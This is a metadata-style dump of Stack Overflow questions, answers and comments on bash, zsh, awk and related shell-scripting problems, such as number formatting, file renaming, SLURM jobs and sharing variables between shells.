has comment: http://stackoverflow.com/comment/135262433
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135261911
has body: i am try to convert the value from input xml like 2222222.22 ot the german format like 2.222.222,22. Here is the block of the code with the while function # Remove any existing dots as thousand separators and replace dot with comma as decimal separator tag2val[tags[i]] = gensub(/\./, ",", "g", tag2val[tags[i]]) # Add dots as thousand separators if necessary while (match(tag2val[tags[i]], /[0-9]{4}/)) { tag2val[tags[i]] = substr(tag2val[tags[i]], 1, RSTART) "." substr(tag2val[tags[i]], RSTART+1) } of course this script need to work no matter if the value is 2.22 or 222.22 or 22222222.22 Any help?
has answer: http://stackoverflow.com/a/76758402
answer count: 2
has title: How to convert the input balance 22222222.22 to the german format 2.222.222,22
has answer: http://stackoverflow.com/a/76723631
tagged with: http://stackoverflow.com/tag/xml
linked to: http://stackoverflow.com/q/61910753
has comment: http://stackoverflow.com/comment/135262322
has comment: http://stackoverflow.com/comment/135262243
has comment: http://stackoverflow.com/comment/135262174
tagged with: awk

bash-trap
type: Tag
tag name: bash-trap
tags question: http://stackoverflow.com/q/76787024

react-scripts
type: Tag
tag name: react-scripts
tags question: http://stackoverflow.com/q/76761977

http://stackoverflow.com/q/76779055
score: 0
tagged with: shell
answer count: 0
tagged with: bash
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135357899
has body: enter image description here I have openjdk 19 installed but everytime it shows the error ,pls anyone tell me how do i get rid of it I tried uninstalling java and installing it again but it shows the same error everytime. uninstalling java and reinstlling other version shows nashorn engine error.
has comment: http://stackoverflow.com/comment/135485778
has comment: http://stackoverflow.com/comment/135357720
type: Question
has comment: http://stackoverflow.com/comment/135357815
tagged with: java
tagged with: terminal
has title: My pop os terminal shows "script engine for language js can not be found" everytime i open it.How do i fix it?
has comment: http://stackoverflow.com/comment/135357831

http://stackoverflow.com/comment/135481996
comment on: http://stackoverflow.com/q/76850581
score: 1
type: QuestionComment
type: Comment
has text: **If** the yaml file always consists of 4 lines in exactly this structure, I would not read it line-by-line, but just do a `grep -o` for the _https_ parts. If the yaml file can be more general, I would use a parser. If you don't want to use yq, you can use a programming language such as Ruby or Perl, which come with a Yaml-Parser builtin. [Here](https://perlmaven.com/read-yaml-file) is a Perl example, and [this](https://ruby-doc.org/stdlib-2.7.0/libdoc/yaml/rdoc/YAML.html) is for Ruby.

http://stackoverflow.com/q/76813826
has body: I want to remove all special characters with a space except the dot before the extension. Let's take this file as an example, since I have tons of them. FRD - 2023.04.12 - (mj)_Text and other chars[ ].txt Desired output: FRD 2023 04 12 mj Text and other chars.txt I've written a series of commands that allow me to do just that: Remove all dots except the extension one: rename -v 's/\.(?!(avi|mkv|mp4|mov|wmv|jpg|jpeg|png|txt))/ /g' * Result: FRD - 2023 04 12 - (mj)_Text and other chars[ ].txt Remove all other characters except the extension dot: rename -v 's/(([^a-zA-Z\d\s])|(-)|(:))(?!(avi|mkv|mp4|mov|wmv|iso|jpg|jpeg|png|txt))/ /gi' * Result: FRD 2023 04 12 mj Text and other chars .txt Reduce multiple spaces to a single one: rename -v 's/\s{1,10}/ /g' * Result: FRD 2023 04 12 mj Text and other chars .txt And because there were characters just before the extension, remove this space: rename -v 's/(\s+)(?=(\.))//g' * Result: FRD 2023 04 12 mj Text and other chars.txt Now I put all these commands in a script with a for loop. Here is the script: #!/bin/bash for f in ./*; do rename -v 's/\.(?!(avi|mkv|mp4|mov|wmv|mpg|iso|flv|jpg|jpeg|png|txt))/ /gi' * rename -v 's/(([^a-zA-Z\d\s])|(:))(?!(avi|mkv|mp4|mov|wmv|mpg|iso|flv|jpg|jpeg|png|txt))/ /gi' * rename -v 's/\s{1,10}/ /g' * rename -v 's/(\s+)(?=(\.))//g' * done Here's how it looks using the script: FRD 2023 04 12 Mj Text and Other Chars Txt Why, if all these commands work one after the other, do they not give the same result in a script? What is the problem is?
has title: A sequence of Bash commands that work in the terminal but not in a script
has comment: http://stackoverflow.com/comment/135418166
accepted answer: http://stackoverflow.com/a/76813968
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135423881
has comment: http://stackoverflow.com/comment/135423863
has answer: http://stackoverflow.com/a/76813968
score: 0
tagged with: bash
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/135413570
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76810947
type: QuestionComment
has text: [edit] your question to format your sample input/output/code as separate Code Blocks.

http://stackoverflow.com/a/76720707
has comment: http://stackoverflow.com/comment/135262775
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76720260
has comment: http://stackoverflow.com/comment/135263578
has comment: http://stackoverflow.com/comment/135264352
accepted answer of: http://stackoverflow.com/q/76720260
has comment: http://stackoverflow.com/comment/135263475
type: Answer
score: 0
has body: You could try something like: base_path="base_path" file_name="names.txt" cd "$base_path" mapfile -t list < "$file_name" find "${list[@]}" -maxdepth 1 -type f -name '*.sql' -exec cp {} . \; mapfile populates indexed array list with the content of file "$file_name", one line per cell. find "${list[@]}" searches with all list entries as starting points. This should work even if you have spaces or tabs (but not newlines) in your directory names.
has comment: http://stackoverflow.com/comment/135263419
has comment: http://stackoverflow.com/comment/135262953

http://stackoverflow.com/a/76772242
has comment: http://stackoverflow.com/comment/135345796
upvote count: 3
has comment: http://stackoverflow.com/comment/135345754
accepted answer of: http://stackoverflow.com/q/76772095
has body: As per the docs, the SLURM_ARRAY_TASK_ID environment variable will be set to the (1-indexed) task ID. We can use this env var with sed to get the Nth line from a list of files my_files.txt file_a.txt file_b.txt file_c.txt Credit to this answer for the sed -n "xp" command. my_slurm_job.sh #!/bin/bash -l #SBATCH --nodes=1 #SBATCH --ntasks=1 #SBATCH --cpus-per-task=1 #SBATCH --mem=10G #SBATCH --account=my_account #SBATCH --qos=default #SBATCH --time=2-00:00:00 ###Array setup here #SBATCH --array=1 #SBATCH --open-mode=truncate #SBATCH --output=out_files/%a_output.o module purge module load my_cluster module load Miniconda3/4.9.2 eval "$(${EBROOTMINICONDA3}/bin/conda shell.bash hook)" conda activate my_conda_env cd /my_directory # Get the Nth line from my_files.txt file_name=$(sed -n "${SLURM_ARRAY_TASK_ID}p" < my_files.txt) python my_python_code.py -filename ${file_name} Edited to add the Task ID to the output file name as per FlyingTeller's comment and the Slurm docs.
downvote count: 0
has comment: http://stackoverflow.com/comment/135346485
has comment: http://stackoverflow.com/comment/135346969
type: Answer
answers question: http://stackoverflow.com/q/76772095
score: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/135477930
type: Comment
has text: @KeithThompson One-line works!!!!. Please add as the answer. Cheers
comment on: http://stackoverflow.com/q/76848082
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135374877
type: QuestionComment
comment on: http://stackoverflow.com/q/76788743
has text: @larsks i see what you are saying .. thanks ! .... my .bashrc file looks like this # The following three lines have been added by UDB DB2. if [ -f /home/db2icm1/sqllib/db2profile ]; then . /home/db2icm1/sqllib/db2profile fi .... i would think when i came that user via ansible become_user , the become user logic would automatically call the .bashc or .profile similar to a local login shell as if i were to sudo su - < user id >
type: Comment
score: 0

http://stackoverflow.com/comment/135442981
type: Comment
type: AnswerComment
has text: This seems better than my idea, which is why I posted the question -- to try to get better ideas. Thanks!
comment on: http://stackoverflow.com/a/76823317
score: 0

http://stackoverflow.com/comment/135262174
has text: please update the question to include a minimal, complete working set of code, the sample inputs and the (wrong) output generated by your code; also, are you looking for a locale independent solution or should the answer be locale specific (and if so then update the question with your locale)
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76722348
type: Comment

http://stackoverflow.com/comment/135441196
type: QuestionComment
has text: Please be a bit more informative when asking here for help.... _I Got An Error_ : To mention this is meaningless, unless you also post the error message. _I tried Every Thing To Try To Fix It_ : To mention this is meaningless, unless you describe what you tried.
type: Comment
comment on: http://stackoverflow.com/q/76825083
score: 0

http://stackoverflow.com/q/76837122
has comment: http://stackoverflow.com/comment/135460023
type: Question
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: powershell
favorite count: 0
tagged with: visual-studio
score: 2
linked to: http://stackoverflow.com/q/7736280
upvote count: 2
has body: I have visual studio opened on my laptop, I want to run the visual, i.e trigger start without debugging automatically, for this below is the script I have referred and written. ///code area $vsInstance = [System.Runtime.InteropServices.Marshal]::GetActiveObject("VisualStudio.DTE") $vsInstance.ExecuteCommand("Debug.Start") Start-Sleep -Seconds 30 ///// Now whenever I run this script. I get the exception as showed in the image, Can you please help. I tried the above script but failed.
tagged with: windows
has title: GetActiveObject for visual studio throwing an exception when running a script
tagged with: shell

http://stackoverflow.com/comment/135366738
comment on: http://stackoverflow.com/a/76783355
has text: Having the fd in a variable imposes some restrictions. Things like `echo additional trace info >&$BASH_XTRACEFD` work, but trying to close the fd with `exec $BASH_XTRACEFD>&-` terminates the shell. You have to use evil `eval`.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76819820
has body: Firstly, the cat command is unnecessary, since we can use &lt; to redirect AWK's input to read from the file. We could modify the grep command to match the start and end of line like this: awk '{print $5}' &lt;/home/vsrchops/Usrlogin_1.csv | grep '^0$' Here, ^ matches the start of a line and $ matches the end of line. Or we can use grep options to match the whole line: awk '{print $5}' &lt;/home/vsrchops/Usrlogin_1.csv | grep -Fx 0 Either of these will match only those lines that are exactly 0. Alternatively, we could avoid creating the grep process, and do the matching entirely within AWK: awk '$5 ~ /^0$/ {print $5}' &lt;/home/vsrchops/Usrlogin_1.csv That's probably the simplest and most efficient solution.
accepted answer of: http://stackoverflow.com/q/76818101
has comment: http://stackoverflow.com/comment/135427795
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135428460
answers question: http://stackoverflow.com/q/76818101
downvote count: 0
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135436584

http://stackoverflow.com/a/76856901
accepted answer of: http://stackoverflow.com/q/76856869
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76856869
downvote count: 0
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135493043
has body: There has to be a ; before then, else, and fi. if something; then this; else that; fi Like this: RUN set -eux; \ if [ "$BASE_TAG" = "temurin-8-jammy" ] ; \ then \ mkdir -p "$JAVA_HOME""$JRE_PREFIX"/lib/security && \ keytool -import -alias Org1Cert -keystore "$JAVA_HOME""$JRE_PREFIX"/lib/security/cacerts -file /usr/local/share/ca-certificates/Org1_CA.crt -storepass changeit -noprompt && \ keytool -import -alias Org2Cert -keystore "$JAVA_HOME""$JRE_PREFIX"/lib/security/cacerts -file /usr/local/share/ca-certificates/Org2_CA.crt -storepass changeit -noprompt; \ else \ mkdir -p "$JAVA_HOME"/conf/security && \ keytool -importcert -alias Org1Cert -keystore "$JAVA_HOME"/conf/security/cacerts -file /usr/local/share/ca-certificates/Org1_CA.crt -storetype PKCS12 -storepass changeit -noprompt && \ keytool -importcert -alias Org2Cert -keystore "$JAVA_HOME"/conf/security/cacerts -file /usr/local/share/ca-certificates/Org2_CA.crt -storetype PKCS12 -storepass changeit -noprompt; \ fi
has comment: http://stackoverflow.com/comment/135493241

http://stackoverflow.com/comment/135276812
score: 1
comment on: http://stackoverflow.com/q/76731251
type: QuestionComment
type: Comment
has text: The question isn't topical here -- it's more about `apt` (a generic sysadmin tool rather than a software development tool) than about node or about writing code -- but if it _were_, I'd ask you for information on _where those copies of `node` are installed_. Comparing the output of `command -v node` with that of `sudo which node` is a place to start.

http://stackoverflow.com/comment/135418602
comment on: http://stackoverflow.com/q/76813452
type: QuestionComment
type: Comment
score: 1
has text: BTW, think about `(exec -a sh bash -x yourscript)` to get your script run by bash in POSIX mode for better quality xtrace output; whichever sh you have doesn't quote in its trace logs, making them ambiguous.

http://stackoverflow.com/comment/135376721
has text: If data was automatically parsed as code, it would be impossible to write code that handles untrusted data in bash. (And if you use `eval` as Barmar suggests above, _your_ code will be trusting its data, and insecure if that trust is ever misplaced; it's a Very Bad Idea unless you know exactly what you're doing). See [BashFAQ #48](https://mywiki.wooledge.org/BashFAQ/048).
type: Comment
comment on: http://stackoverflow.com/q/76790012
score: 1
type: QuestionComment

http://stackoverflow.com/q/76841948
score: 1
answer count: 1
type: AnsweredQuestion
upvote count: 1
tagged with: ssh
type: Question
tagged with: shell
has body: I wrote a script that checks the kubernetes pods and in case of hanging it must write pod logs and delete it. Kube master is on another server and I try to connect to it by ssh. It's working good when I try to start script locally on kube master server, but when I try to enter the same command as ssh argument, I get pod deleted, but this pod's logs weren't written and there's no errors, so I don't understand what I do wrong. I use python 3.6, access permissions 777 for scripts and directories in which they are located. I know about possibility of doing this using k8s api but I don't know how to do it now. I am still learning and will try to realize it a bit later but the system should work now. PS. The reason that I do this is that I want to add 'check_radio' to cron and forget about hanging pods... PPS. I am not master-pro at python, just a regular sysadmin that wants to become a devops, so if you have some ideas how to optimize my work you're welcome. Here is the script that is on kube master (kube_reload.py): #!/bin/python3 import sys import os import re import subprocess as sp from contextlib import redirect_stdout as r_stdout marker = False pod_nums = '' pod_nums_int = [] for_reload = [] get_pods = sp.check_output(['kubectl', 'get', 'pods']) get_pods = str(get_pods) get_pods = get_pods.split() pods = [] '''write garbage pod names in array''' for word in get_pods: if 'radio-hls' in word: pods.append(word) '''make usual pod names from garbage names''' for num in range(len(pods)): while marker == False: if pods[num][:5] != 'radio': pods[num] = pods[num][1:] if pods[num][:5] == 'radio': break '''Function that lists all pods''' def pod_list(): sp.run('clear') print('PODS LIST:\n') for num in range(len(pods)): print(num+1, '.\t', pods[num]) print(len(pods)+1, '.\t Reload all') '''Function for recursion in try-except statement in 'input_nums()' function''' def return_for_except(): pod_list() print('Error input. Try again\n\n') input_nums() '''Function that asks which …
tagged with: kubernetes
has title: python script doesn't work correctly using ssh
favorite count: 0
has answer: http://stackoverflow.com/a/76844233
tagged with: python
accepted answer: http://stackoverflow.com/a/76844233
downvote count: 0

http://stackoverflow.com/comment/135454952
comment on: http://stackoverflow.com/a/76831362
type: Comment
type: AnswerComment
score: 0
has text: Thank you, that pfsense shell is a tricky one.

http://stackoverflow.com/comment/135336473
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76766553
type: Comment
has text: What version of PostgreSQL did you install? Why do you use such an old version of psql? How did you start psql?

http://stackoverflow.com/q/76817129
has answer: http://stackoverflow.com/a/76821407
type: UnansweredQuestion
has body: I have huge log file, i want to delete lines starting from ---Successful backups--- until starting with line ---Failed backups---. Then again want to delete lines starting from ---Unresolved clients--- until ---Summary notification report--- using shell script. Below is the example of few logs. Please suggest. ---Summary notification report--- Policy name:xyz Workflow name:abc1, Workflow status:succeeded, Workflow start time:08/01/23 14:30:00, Duration:0 hours 0 minutes 33 seconds Action name:backup, Action status:succeeded, Action start time:08/01/23 14:30:00, Duration:0 hours 0 minutes 33 seconds --- Traditional Backup Action report --- Policy name:xyz Workflow name:abc1 Action name:backup Action status:succeeded Action start time:08/01/23 14:35:00 Action duration:0 hours 0 minutes 30 seconds Total 1 client(s), 0 Succeeded with warning(s), 1 Succeeded, 0 Failed, 0 Unresolved. ---Successful backups--- abc.net:PIP, level=incr, size 96 KB, duration 0 hours 0 minutes 14 seconds, 5 files abc.net:SYBASE:/PIP/master.1, level=full, size 20 MB, duration 0 hours 0 minutes 2 seconds, 1 files ---Successful backups with warnings--- none ---Failed backups--- none ---Unresolved clients--- none ---Summary notification report--- I am trying to use grep command but not getting the correct result. cat log.out | grep -A 7 'Action name:backup, Action status:failed, Action start time:08/01/23'
type: Question
has comment: http://stackoverflow.com/comment/135423965
answer count: 3
has answer: http://stackoverflow.com/a/76817477
has title: I want to cut few lines from my log file after matching the condition
score: 0
has answer: http://stackoverflow.com/a/76817624
tagged with: shell

http://stackoverflow.com/comment/135506466
type: QuestionComment
type: Comment
has text: `np` and `cp` are set to the context of `file.txt` and `file2.txt`. Since you don't show us the content of these files, we don't know what's in these variables. Without knowing what exactly is stored in the variables, we can't explain how the parameters in the script are filled.
comment on: http://stackoverflow.com/q/76859636
score: 0

http://stackoverflow.com/a/76835197
has body: According to what your posted, the content of extracted_content is {"ntpServers":"10.9.221.1"}. Interpolating this into your heredoc produces jq --argjson data "{"ntpServers":"10.9.221.1"}" '. += $data' After the shell resolves the quotes, jq receives the following arguments: Argument 1: --argjson Argument 2: data Argument 3: `{ntpServers:10.9.221.1} Argument 4: . += XXX where XXX is the content of your variable data. You don't set this variable in the code you posted, so I guess it is an environment variable inherited from the parent process. If it's really unset, argument 4 becomes just . += . So the arguments to jq simply don't look right.
has comment: http://stackoverflow.com/comment/135458512
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76835075
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135458681

http://stackoverflow.com/a/76793118
accepted answer of: http://stackoverflow.com/q/76793056
has comment: http://stackoverflow.com/comment/135382036
answers question: http://stackoverflow.com/q/76793056
type: Answer
has comment: http://stackoverflow.com/comment/135382026
upvote count: 3
downvote count: 0
has body: Why does the behaviour in fish differ and how do you make it match sh/bash? This is a limitation of fish - it can only run one piece of script at the same time. Bash/sh in contrast uses subshells - i.e. it forks off another process and keeps them running there. This comes with some major downsides - notably, variables can't be shared across subshells and they are weirdly implicit in some cases (and different across posixy shells - is the last process in a pipeline run in a separate subshell or not?). The long-term plan is for fish to gain multi-threaded execution. Your workaround is to start a separate fish process manually: fish -c 'echo abc; sleep 2; echo def' | while read -l f echo $f has been piped end
score: 3
type: AcceptedAnswer

http://stackoverflow.com/q/76756050
has comment: http://stackoverflow.com/comment/135319155
score: 0
has comment: http://stackoverflow.com/comment/135319227
tagged with: shell
has comment: http://stackoverflow.com/comment/135318816
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76757945
has comment: http://stackoverflow.com/comment/135319778
tagged with: os.system
answer count: 2
has title: Bash script run properly in terminal but "command not found" when running using os.system
type: Question
has comment: http://stackoverflow.com/comment/135326124
has comment: http://stackoverflow.com/comment/135319200
has answer: http://stackoverflow.com/a/76757183
has comment: http://stackoverflow.com/comment/135319139
tagged with: python
has body: I'm new to bash. I have installed "seqtk" and "magicblast" in my shell calling "conda install" on terminal, and they work properly when I directly called them on terminal or write them in a bash script(test.sh) and then run that script on terminal. This is test.sh #!/bin/bash var1=$(sed 's/\.fastq\.gz/\.fa/' <<< $1) seqtk seq -a $1 > $(basename $var1) and this would work $./test.sh sample_folder/sample_R1.fastq.gz But when I tried to run the script using python(test.ipynb) import os os.system("./test.sh sample_folder/sample_R1.fastq.gz") it gives me "seqtk: command not found" I searched on Google and thought it's because I installed the commands in my shell but 'os.system' would start a new shell and run the commands there, that's why test.ipynb shows "command not found" while the commands can work properly on terminal. I'm wondering how could I solve this issue. Thanks in advance! I also tried using "source" to solve this by os.system("source HOME/.bash_aliases"), and this failed and shows "source: not found". I don't really know how to use this command.
has comment: http://stackoverflow.com/comment/135320431

kotlin
tags question: http://stackoverflow.com/q/76786021
tag name: kotlin
type: Tag
tags question: http://stackoverflow.com/q/77029758

http://stackoverflow.com/comment/135495103
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76857017
has text: VSCode is only for development. To run the code *in production* you use the PowerShell console app. `¯\_(ツ)_/¯`

http://stackoverflow.com/comment/135483441
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76850146
has text: @user1934428 It seems like `zsh` isn't POSIX compliant for that one

http://stackoverflow.com/comment/135371938
has text: changed trap 'handle_exit' EXIT and trap 'handle_error $?' ERR to single quotes, exit code is still 0 at handle_exit despite it being called after handle_error
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76787175

http://stackoverflow.com/comment/135491163
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/76855827
has text: @phtm Sure, it makes sense. You can just put a loop around the `res=$(curl -s http://ip:port/api)` line (inside the inner `{`...`}` block) so that it keeps doing it until the condition is met. Then you may not want to inspect the individual result files (since all calls will succeed eventually) so you can skip writing to those files. Just loop until success, perhaps with a `sleep 1` between each `curl` call to not bombard the API :-)

http://stackoverflow.com/comment/135299658
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76744886
type: Comment
has text: Unless you have a command called `{find` it is not surprising that that fails. You'd have seen an error message if you hadn't redirected stderr.

http://stackoverflow.com/comment/135506692
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76864649
has text: @Sumesh TXR is packaged by a few distros like NixOS, Guix, Alpine, Void, HomeBrew. The project itself provides some tarball [binaries](https://www.kylheku.com/txr-downloads) for a few platforms like Ubuntu and Windows. It has low dependencies and isn't hard to build from source; just `./configure && make && make install`.
score: 0

http://stackoverflow.com/q/76722912
has comment: http://stackoverflow.com/comment/135262988
has comment: http://stackoverflow.com/comment/135262902
score: 0
has comment: http://stackoverflow.com/comment/135263215
tagged with: http://stackoverflow.com/tag/c
has body: Basically I'm trying to create a shell using C, and one of the issues I did encounter is with the random inputs. So in a normal Linux shell, if I type something random I get the error "sdjk: command not found" for example. Now I want to make that work in my shell too, but I want to detect if a command exists or not and also output the error message without having to fork the process. The issue is that I use execve function to execute my commands. Whenever execve is used, it just terminates the process once it's done, so is there a way to circumvent that? Also this is my first post, so I don't know if I'm asking for help the right way. int _system(char *command) { char *argv[] = {"shell", "-c", command, NULL}; execve("/bin/sh", argv, NULL); perror("execve"); _exit(EXIT_FAILURE); return -1; } int main() { printf("hello there world\n"); if (_system("vsvdvq") == -1) { perror("Error executing ls"); } printf("hello there world\n"); return 0; } Now this is a little simulation because I can't put the whole actual shell code here. I get the error message that I want when the input is wrong, but I want the program to keep functioning even after the output of the error message. That doesn't seem possible without using fork, and I don't want to use fork.
has comment: http://stackoverflow.com/comment/135263745
type: Question
tagged with: shell
answer count: 0
has title: is there a way to get the error "dksd : command not found" in the stderr, without having to fork the process?
type: UnansweredQuestion

http://stackoverflow.com/q/76823093
has body: I have a certain value that a bunch of scripts/functions I run on my machine need access to, and it changes frequently. For context, it's the git tag of the current commit deployed to production of the primary app we work on, but that's not important. I've been automating it by setting it as a local variable within the context of my current shell, which has been nice, but any other shells I have open cannot access it. This is unfortunate because I often have multiple shells open and want this variable in all of them. What would be the best way to pass this value around where every open shell can access it? I looked into setting it as an environment variable, but changing an environment variable does not affect its value in already open shells so that wouldn't work. And I could obviously update it in my .bashrc but that would require re-running a source command in every open shell and I'm lazy. What is the best way to share a value between Bash shells?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76823317
has comment: http://stackoverflow.com/comment/135434174
score: 0
has answer: http://stackoverflow.com/a/76823094
type: Question
tagged with: shell
possible better answer: http://stackoverflow.com/a/76823094
has answer: http://stackoverflow.com/a/76823317
has comment: http://stackoverflow.com/comment/135438372
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135434675
linked to: http://stackoverflow.com/q/29378566
downvote count: 1
has title: Bash - share variable between processes?
has comment: http://stackoverflow.com/comment/135438394
has comment: http://stackoverflow.com/comment/135439477
answer count: 2
tagged with: bash

http://stackoverflow.com/comment/135515831
score: 1
has text: If `git rm` had been used, the deletion would be staged. An unstaged deletion is evidence that just `rm` was used. Git is noticing that the file is missing from the tree, but the file is still in the index. `git commit` cannot be used (without `--allow-empty`), because the display is showing clearly that there are no staged changes.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76864813

http://stackoverflow.com/comment/135343143
type: QuestionComment
comment on: http://stackoverflow.com/q/76770526
score: 0
type: Comment
has text: Please add the contents of arg1 printed just before calling execvp.

http://stackoverflow.com/a/76855717
has comment: http://stackoverflow.com/comment/135529803
has comment: http://stackoverflow.com/comment/135497749
type: Answer
has comment: http://stackoverflow.com/comment/135539469
answers question: http://stackoverflow.com/q/76843593
has comment: http://stackoverflow.com/comment/135496285
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135539556
has comment: http://stackoverflow.com/comment/135529408
has comment: http://stackoverflow.com/comment/135535858
has body: Thank you all for the effort in answering the question. I will end up going with the gdb option to set the environmental variable using the parameters passed as arguments. As long as I do sudo, it will work just fine. This is not intended to be a solution to be used without a lot of caution as you would be calling internal bash functions and things could be messed up. But in general it will run just fine. Checking some ways to unset read-only variables, I stumbled upon using gdb to call the unbind_variable() function directly. So, I applied the same logic and set a new variable from the script. It "kinda" works, but not smoothly: $ cat /tmp/test.sh #!/bin/bash ref="$1" value="Value assigned from inside the script" bashpid=$(ps -oppid,pid,cmd | grep $0 | grep -v grep | cut -f1 -d' ') sudo gdb -ex 'call (int) setenv("'"$ref"'","'"$value"'",1)' --pid=$bashpid --batch 2>/dev/null 1>&2 And when I call it: $ declare -p VARPASSED bash: declare: VARPASSED: not found $ /tmp/test.sh VARPASSED $ declare -p VARPASSED declare -x VARPASSED="Value assigned from inside the script" Now the variable passed is correctly assigned to the current shell. The problem is that gdb requires sudo to attach to the current shell, which is a little bit annoying. How did they do with the read command? PS: please cut some slack on the way to get the bash pid, I know there are much more efficient ways to do it. That was just not my focus ;)
score: 0
has comment: http://stackoverflow.com/comment/135490829
accepted answer of: http://stackoverflow.com/q/76843593

http://stackoverflow.com/q/76765373
downvote count: 0
type: Question
has comment: http://stackoverflow.com/comment/135334551
has comment: http://stackoverflow.com/comment/135334409
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/72163157
has title: If I run on Raspberry Pi some Python commands from the shell they are executed, but not from scripts
tagged with: robotics
has comment: http://stackoverflow.com/comment/135334309
has comment: http://stackoverflow.com/comment/135334438
has comment: http://stackoverflow.com/comment/135334492
tagged with: shell
score: 1
has comment: http://stackoverflow.com/comment/135341345
answer count: 1
upvote count: 1
favorite count: 0
tagged with: python
tagged with: gpiozero
has comment: http://stackoverflow.com/comment/135334490
has body: I'm trying to control a robot via a Raspberry Pi, using Python language. If I run the commands from the shell they work fine. If I call them from a *.py script the robot doesn't move. If in the script I put the command print('hello') the word 'hello' is displayed but the motors still do not move. How can I solve the problem? Thank you from gpiozero import Motor motor1 = Motor(4, 14) motor2 = Motor(17, 27) motor1.forward() motor2.forward() UPDATE: I solved the problem with sleep(5) after the command for move motors. Thanks!!!
tagged with: raspberry-pi
has answer: http://stackoverflow.com/a/76766288

http://stackoverflow.com/comment/135483355
comment on: http://stackoverflow.com/q/76850146
type: Comment
has text: @Fravadona: It is true that I forget to take `CDPATH` into account, but in my experiments, both zsh and bash happened to have the same CDPATH. I can confirm that without CDPATH, bash and zsh behave the same, and in the way you described it. With the identical CDPATH, they behaved differently. So the difference is in the interpretation of CDPATH. And, I do **not** have `.` in my CDPATH (as this indeed could have an influence).
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135489343
score: 2
type: Comment
has text: But _really_, cut down all the `grep | awk | tr | awk`. You never need more than one awk, and it can do everything grep and tr can do.
comment on: http://stackoverflow.com/q/76854869
type: QuestionComment

http://stackoverflow.com/comment/135264352
score: 0
comment on: http://stackoverflow.com/a/76720707
has text: Please edit your question and add all the missing pieces, or open a new question. Q&A are not just for your own benefit, they are supposed to be useful to others with similar problems. If the detailed explanation is a mixture of your question and comments it is far less usable and searchable.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76854869
has comment: http://stackoverflow.com/comment/135489976
accepted answer: http://stackoverflow.com/a/77261257
has comment: http://stackoverflow.com/comment/135489333
has comment: http://stackoverflow.com/comment/135489663
has comment: http://stackoverflow.com/comment/135489449
has answer: http://stackoverflow.com/a/77261257
has comment: http://stackoverflow.com/comment/135490261
has title: How do I speed up a call to top in a shell script using zsh?
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136206683
has comment: http://stackoverflow.com/comment/135493522
has comment: http://stackoverflow.com/comment/135489351
has comment: http://stackoverflow.com/comment/135490002
has comment: http://stackoverflow.com/comment/135489362
tagged with: zsh
has comment: http://stackoverflow.com/comment/135489325
has comment: http://stackoverflow.com/comment/135489389
has comment: http://stackoverflow.com/comment/135489343
score: 0
has comment: http://stackoverflow.com/comment/135490045
type: Question
has comment: http://stackoverflow.com/comment/135490035
tagged with: macos
tagged with: shell
has comment: http://stackoverflow.com/comment/135489514
has body: I have a script that I run inside an oh-my-zsh prompt that shows this information: (68% disk used) (1.48[16] cores @ 8.7%) (16G used / 16G) 100% It seems like it's calling top multiple times and thus it takes a LONG time (several seconds - long enough to be annoying) to display after each carriage return and therefore calling this script for the oh-my-zsh prompt. Is there any way to speed this up? When I call top, I'm using options that only output one page of top's output - a "snapshot" of top's information that I use to display the load average, the percentage of "on time" of the processor, and the amount of RAM I'm currently using. I know for a fact that calling top -l 1 -s 0 does not take longer than even a quarter of a second, so my script must be calling it multiple times unless I'm missing something else entirely... the sysctl hw command is also quite fast, as is pmset -g batt and df -h. Anyways, here's the script: #!/bin/zsh toplist=(top -l 1 -s 0) sysctllist=(sysctl hw) pmsetlist=(pmset -g batt) storagelist=(df -h) availablestorage=$($storagelist | grep "/dev/disk1s2" | awk '{print $2}' | sed 's/Gi//') availablestorage=$((availablestorage * 1.073741824)) usedstorage=$($storagelist | grep "/" | awk '{print $3}' | grep "Gi" | sed 's/Gi//' | awk '{ sum += $1 } END { print sum }') usedstorage=$((usedstorage * 1.073741824)) storagepercentused=$((100 * (usedstorage / availablestorage))) storagepercentusedrounded=$( echo "($storagepercentused)/1" | bc) loadavg=$($toplist | grep 'Load Avg' | awk '{print $3, $4, $5}' | tr -d , | awk '{print $2}') ncpu=$($sysctllist | grep ".ncpu" | grep -o -E '[1-9]+') percentidle=$($toplist | grep 'CPU usage:' | awk '{print $3, $5, $7}' | tr -d , | tr -d % | awk '{print $3}') memoryfree=$($toplist | grep 'PhysMem' | awk '{print $2}') totalmemory=$($sysctllist | grep .memsize | grep -oE '[1-9]+') batterypercent=""$($pmsetlist | grep "%" | awk '{print $3}' | tr -d \;)"%" power="" if ($pmsetlist | grep "Battery Power") >> /dev/null th…

http://stackoverflow.com/comment/135348039
